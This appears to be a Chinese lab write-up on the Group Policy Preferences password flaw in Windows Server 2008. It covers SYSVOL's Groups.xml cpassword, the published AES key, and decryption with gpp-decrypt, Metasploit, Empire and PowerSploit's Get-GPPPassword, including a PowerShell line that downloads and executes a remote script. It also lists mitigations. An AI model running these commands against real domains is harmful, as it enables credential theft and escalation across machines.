Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
在Windows server 2003中,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式,贴三好学生大佬的代码:
strComputer = "."Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
这种方式十分简便,但也存在着极大的弊端,弊端在于修改后的密码会明文保存在vbs脚本中 而该vbs脚本通常会保存在共享文件夹SYSVOL 这就存在一个隐患: 任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码。
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
在2006年,微软收购了桌面标准的“PolicyMaker”,并重新借此与win2008发布了GPP(Group Policy Preferences)。其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:
映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。
通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。
环境是很重要的,组策略首选项功能是Windows 2008 Server引入的,并且08之后的版本都已经打过该漏洞的补丁,所以我选择的实验域控机器为server 2008 R2服务器。
在运行
中输入,gpmc.msc
,进入组策略管理。
右击组策略
–>新建
:
右击test
(刚刚创建好的组策略对象)–>编辑
,来到如下位置:
右击本地用户和组
–>新建
–>本地用户
:
操作
–>更新
其中设置的密码为
hacker*****34
,记住!
回到组策略管理,设置组策略的对象,添加Domain Computers
到组策略组中:
Domain Computers为加入到域中的所有工作站和服务器,
查看组策略对象test
的详细信息:
可到该组策略对应的ID为:{F63F5863-A1E6-42FA-8DFC-90100822D271}
。
至此,组策略配置完成,域内主机重新登录。
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即
Groups.xml
,该文件中保存了该组策略更新后的密码。
域内主机重新登录,即可在目录下C:\Windows\SYSVOL\domain\Policies
查看ID相对应的策略。
继续查看,找到文件Groups.xml
,路径为:
C:\Windows\SYSVOL\domain\Policies\{F63F5863-A1E6-42FA-8DFC-90100822D271}\Machine\Preferences\Groups
点击查看:
其中的关注点为cpassword
:
D6vPChr5erlSuaRcFDpblki+IBhRnKaAju256h3ampo
此密码的加密方式为AES-256
。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。
The 32-byte AES key is as follows:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
地址:2.2.1.1.4 Password Encryption
针对此密码,我们可以直接使用kali中自带的命令gpp-decrypt
进行破解:
可以看到破解出的hacker*****34
可使用msf后渗透模块run post/windows/gather/credentials/gpp
效果如下:
工具地址:PowerSploit
我们利用的是其中的Get-GPPPassword
模块。
检索通过组策略首选项推送的帐户的明文密码和其他信息。
如下三种使用方法:
powershell -executionpolicy bypass -file Get-GPPPassword.ps1
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
但在实验过程中,由于2008系统中powershell的版本问题,并未利用成功。
升级到powershell3.0版本就可利用成功,在此就不演示了。
在Empire框架下,我们可以usemodule privesc/gpp
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
1、设置共享文件夹SYSVOL的访问权限 2、将包含组策略密码的 XML 文件从 SYSVOL 目录中删除 3、不要把密码放在所有域用户都有权访问的文件中 4、如果需要更改域中机器的本地管理员密码,建议使用LAPS
由于gpp十分不安全,所以在Windows server 2012及以后的版本中,微软就抛弃了这种方式。
所以,想要复现组策略提权,就一定要选择2008版本。
参考文章: https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp
http://www.mottoin.com/detail/1939.html